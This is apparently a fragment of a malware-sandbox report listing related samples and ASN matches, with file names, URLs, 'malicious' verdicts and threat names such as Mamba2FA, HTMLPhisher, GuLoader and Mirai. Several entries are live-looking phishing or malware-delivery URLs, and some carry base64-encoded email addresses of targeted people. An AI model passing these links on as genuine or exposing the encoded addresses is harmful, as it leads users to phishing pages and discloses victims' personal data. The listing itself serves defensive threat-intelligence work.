jjQQnZs	Get hash	malicious	Mamba2FA	Browse	13.107.246.45
	https://docs.google.com/drawings/d/1agK-6fGF4y65hrPDNlHipoTNyumPU-yxdwKLkQWhsQI/preview?pli=1oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YE	Get hash	malicious	Unknown	Browse	13.107.246.45
	khwHsyfsJ1.exe	Get hash	malicious	ScreenConnect Tool	Browse	13.107.246.45
	AmedVA2n92.exe	Get hash	malicious	ScreenConnect Tool	Browse	13.107.246.45
	https://link.edgepilot.com/s/8e0e5379/EMW5cxymxkqj1qgquAdAJg?u=https://1drv.ms/o/c/67a50aba8b4bc7df/Es0QkMhT9wJGqs_vzb8xaRQBgzED6dWk5_dCMe34N16rYQ?e=5%253aTtRWoI%26sharingv2=true%26fromShare=true%26at=9&c=E,1,DNZ_Csfpwg3nzWxVo2TSq2LzcEM3C6hdkfA-QbvL5dwYrcj0RsSt_vroZV-UqAThZkP5E_WMmdbQ82a_nveA3iNTPpg_CIcQxQFCbK60ykcRIVrxnkr2VnkbdtuE&typo=1	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://www.amazon.com/gp/f.html?C=23J4QFP74FONO&M=urn:rtn:msg:20241025141131e9a815878e9d4465817166f46870p0na&R=1M7L2I94B4ZIJ&T=C&U=https%3A%2F%2Fegift.activationspot.com%2F%3Ftid%3DYK1PHH1DX97D1S1Z9HQR847P7C%26gw%3Dn%26gs%3Dn%26gcm%3Dn%26eid%3D6JYG3M7PQWB0V0CKWHZL19MZFR&H=ZCJSSIIYIVFZPUKZ30QWV8HWJDKA	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://8i.eryonficket.com/g60ff/#aGVzc2dyb3VwaW52QGhlc3MuY29t	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://www.evernote.com/shard/s512/sh/13954171-1260-d858-de69-06ffb19cd62f/IpXIE2ZoTfkUL7pCMibo1Wvq-pGORrIcZV-gRtF0-ppZOJhbsY-7OG4AYQ__;!!A-_UObntj2w!TCF-dwwxew6_4xwX0vz37obzz_Nme89BLzz0LCDHIEcMt0H-fDdV9LeqXfzP36mva0iIJhqBnntAwfDFEkCvUyHvgSgA8Q$	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	SecuriteInfo.com.Trojan.PWS.Stealer.39881.9434.15338.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
marty-n.com	Atlanta Office Interiors #024-010.pdf	Get hash	malicious	Unknown	Browse	185.45.66.155
marty-n.com	https://ipexcel-my.sharepoint.com/:u:/p/bhaskar/EXkHa_fTPjZKq-NlTqXIh7sBrIzBSy8pqbKPLGCEzX2rbA	Get hash	malicious	Unknown	Browse	185.45.66.155
sni1gl.wpc.omegacdn.net	https://docs.google.com/drawings/d/1gvM7ysnJ7zDcSUShXnPoiA6pG4cjDDn9uHRbivsGidA/preview?pli=1jjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZs	Get hash	malicious	Mamba2FA	Browse	152.199.21.175
	https://ipfox.co.uk/pages/thanks.html#RXJpay5Kb2huc29uQGFnLnN0YXRlLm1uLnVz	Get hash	malicious	Unknown	Browse	152.199.21.175
	https://www.shareholds.com/eur/9fb868a2-97de-4fa6-bb9a-6e2bdc7c734d/99db7d04-72ba-41ea-a52e-2744d29c7f66/e845cf48-2115-4cda-904c-fc80c835df32/login?id=RDhIaE52RURnRGJHRWUzZ21seVc3R2xwMm5BK0k2NjNKbnlRYisvT3JURnNTa0p4Skp6OTRIVjNPa3VFclFOeEFTY2Jub0tIblFrbGo5SUhWb01RRCt4Q3FtaVlNeno4MU8zN2I3bmlveTF0Tm8yM0FOb1J4THRhM1RqNnhyazNHaDFNV3Zoc1RLN2VpV0ZZbUF2MDlWWGZ2Tk5STVpzUDVKaStnT0l0S1BVTlRzZ2lmcXI1Wkh6M1FheGd3Tjh2NVdaTzVOOTRQaVZrTmZrSjRIK3IvU1p4U2doYSsrYmtUOGl1RytpeGthUGFHT1g4UE4rbngvYnhpRXlJRG9oRVRWbUczdEc1ei9ESFJsT2lpZ2JyOFBLNTNoUXdzdVB0QjhVbmRBN1NSSUJYMTkrRnoxbENHSW5lYnJHczBnQytHaDlQSkRib1NTOFNJeTI2WVhCUkg5NGxNNzNMdzBmWktZenhCR2FnaFFaem5zU3FmbUV6WXowVFdOTEFjU3pGVnRjVlNFOHRtVlkvdk9WQjdibXBTNGZFcjUyb1BYTXRhQTRNNnJjbkJtcz0	Get hash	malicious	HTMLPhisher, Microsoft Phishing	Browse	152.199.21.175
	https://u47839971.ct.sendgrid.net/ls/click?upn=u001.SS8YqfWjf1b3UNFf2g8-2BbyepSJ9NnVqTjg5p4PlqyZLDG-2F-2FRHUWKB7tpHO-2BD9IAzfDK69NBor6n5GDDWuKOaXjILtpHrb-2FuqosweWIwJauCFjFOIVaIDje-2BTbWeqpid-2Fe0IpJIrTIznxRC8RuWTXkcZZXZKUxIgeeMWOFH96Tjh3a3uDeIXRyoiB6ZRGKZhHD63OuPdyktyTbMDbA-2FurGQ-3D-3DGlRK_1fgoI9z-2BmeHj6kFR5jmXJyN8Vyo9ja5rNrkl1rR8UXAlmAe6PSc2-2FD85CLOIF98tpCjfsSquWpaRYnYzjD-2B-2FDF-2F8BwiwRSEwmTXwwlDUaQI3bDBZTUv-2Ffbse4A61ed6hVc-2BhhTqdpCqzpir5GY49O-2BVdqG9mHEhTR8OvRsDhxES9QAdY7ZiH-2BurXMNUWGL6VuIIVYma05ZXZK6zhQMDhjNBnJShmRWPp7Ow2IJgH96F8uRyUdyMUZ9au5PfRhmvWMnTj3B1KVxYBpNo7XRlBSlYjK74Z4HptPWz0XAvVILLp4Z5Qq7I-2BYF76YXE5ZsE-2F9hOEdmxnqZwZIEaC1BNDg2XB-2BluEEvEXRuR9ohEPc6VObquUxTQmba8bObSY0wG3oOeb2xD8hV6IKwMnr9d-2B5HbQscEqkWH5k7qnk6bAGBIHHNt95VH4uagG-2Bh74PJCdwHqpitEnC4IeAHXNdNtMkKw34-2BF8TeV7q4SmkRwe9osbefOHPWGyls7sZdEjodVX7wlBDRV2BLQlTlDkK-2FzuZ2EsHCtWTv7yrVJT-2B6p3fl4O5qZGyWAuATjn7386SmbgYFZYAIaRjabXb6J3Z9IYhB-2BBiP3zxZSMd-2BGGNtSLCQw7FqwKOUhYoEZSgG-2FLraJhb7xOSF-2FZGKBw-2FWGPQ5W16K6ZnP31akPWN-2FRy3A1tFL9-2FQXaviWuNn8VOeqLfBR9isxQ-2BqB-2Fm-2BPFRMhM4zyM42FPD-2FRIJxCXHHfAnucSqTKeA1iykI89pw6joYB-2B9v-2FXzQpkgszpTxbxZcZ7mH0xUY6S3QZDaIWpt-2F-2B0FpvTn8cArsTTKjQo1QO476bdWvqqoz32vBNn214xuFkN0blGHeazkhMWwmEzZM6r-2BTFrW2-2Fha62dTAc7eNUguY6HOm3gtrj2-2FYlAidnBTp5Y8fj3jmA-3D-3D	Get hash	malicious	Unknown	Browse	152.199.21.175
	https://docs.google.com/drawings/d/16aLMbL32wnhWFCR-cOQsVjZ_IjkqNuDyBIYT5G0hJjI/preview?pli=1M6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67n	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	Review_&_Aprove_Your_Next_Payroll72588.html	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	bc3c228ad2c13f96cb14375c3860e802.pdf	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://t.ly/8Lgfk	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	152.199.21.175
	https://na4.docusign.net/Signing/EmailStart.aspx?a=c1ee55e8-d253-4731-bf85-5377494446fc&etti=24&acct=c49653d8-ee55-4f22-afc9-287006261d0b&er=251e9446-3fcb-4714-8d01-feee559625a8	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://8jkfw9cqp7ep.z13.web.core.windows.net/?zpbid=78432_55610c1d-9229-11ef-824f-03718b6de7bb#	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	152.199.21.175

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	ACTION required to activate your account - bp Supplier Portal.eml	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://docs.google.com/drawings/d/1gvM7ysnJ7zDcSUShXnPoiA6pG4cjDDn9uHRbivsGidA/preview?pli=1jjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZs	Get hash	malicious	Mamba2FA	Browse	13.107.246.45
	(No subject) (92).eml	Get hash	malicious	Unknown	Browse	104.47.64.28
	botnet.arm5.elf	Get hash	malicious	Mirai, Moobot	Browse	51.12.182.205
	botnet.arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	40.112.5.162
	botnet.mips.elf	Get hash	malicious	Mirai, Moobot	Browse	20.63.134.72
	botnet.m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	40.74.117.192
	botnet.spc.elf	Get hash	malicious	Mirai, Moobot	Browse	104.42.226.23
	botnet.mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	52.244.146.218
	botnet.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	20.146.77.127
SUPERHOSTING_ASBG	450707124374000811.exe	Get hash	malicious	GuLoader	Browse	193.107.36.30
	450707124374000811.exe	Get hash	malicious	GuLoader	Browse	193.107.36.30
	3507071243740008011.exe	Get hash	malicious	GuLoader	Browse	193.107.36.30
	3507071243740008011.exe	Get hash	malicious	GuLoader	Browse	193.107.36.30
	Potwierdzenie.exe	Get hash	malicious	GuLoader	Browse	193.107.36.30
	Potwierdzenie.exe	Get hash	malicious	GuLoader	Browse	193.107.36.30
	SKM_C16024100408500.vbs	Get hash	malicious	GuLoader	Browse	193.107.36.30
	SKM_C25024100408500.vbs	Get hash	malicious	GuLoader	Browse	193.107.36.30
	Atlanta Office Interiors #024-010.pdf	Get hash	malicious	Unknown	Browse	185.45.66.155
	https://ipexcel-my.sharepoint.com/:u:/p/bhaskar/EXkHa_fTPjZKq-NlTqXIh7sBrIzBSy8pqbKPLGCEzX2rbA	Get hash	malicious	Unknown	Browse	185.45.66.155
EDGECASTUS	https://docs.google.com/drawings/d/1gvM7ysnJ7zDcSUShXnPoiA6pG4cjDDn9uHRbivsGidA/preview?pli=1jjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZs	Get hash	malicious	Mamba2FA	Browse	152.199.21.175
	Fanduel CO Player Location Check F.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://link.edgepilot.com/s/8e0e5379/EMW5cxymxkqj1qgquAdAJg?u=https://1drv.ms/o/c/67a50aba8b4bc7df/Es0QkMhT9wJGqs_vzb8xaRQBgzED6dWk5_dCMe34N16rYQ?e=5%253aTtRWoI%26sharingv2=true%26fromShare=true%26at=9&c=E,1,DNZ_Csfpwg3nzWxVo2TSq2LzcEM3C6hdkfA-QbvL5dwYrcj0RsSt_vroZV-UqAThZkP5E_WMmdbQ82a_nveA3iNTPpg_CIcQxQFCbK60ykcRIVrxnkr2VnkbdtuE&typo=1	Get hash	malicious	Unknown	Browse	152.199.21.175
	https://ipfox.co.uk/pages/thanks.html#RXJpay5Kb2huc29uQGFnLnN0YXRlLm1uLnVz	Get hash	malicious	Unknown	Browse	152.199.21.175
	ALVARA-072.msi	Get hash	malicious	AteraAgent	Browse	192.229.221.95
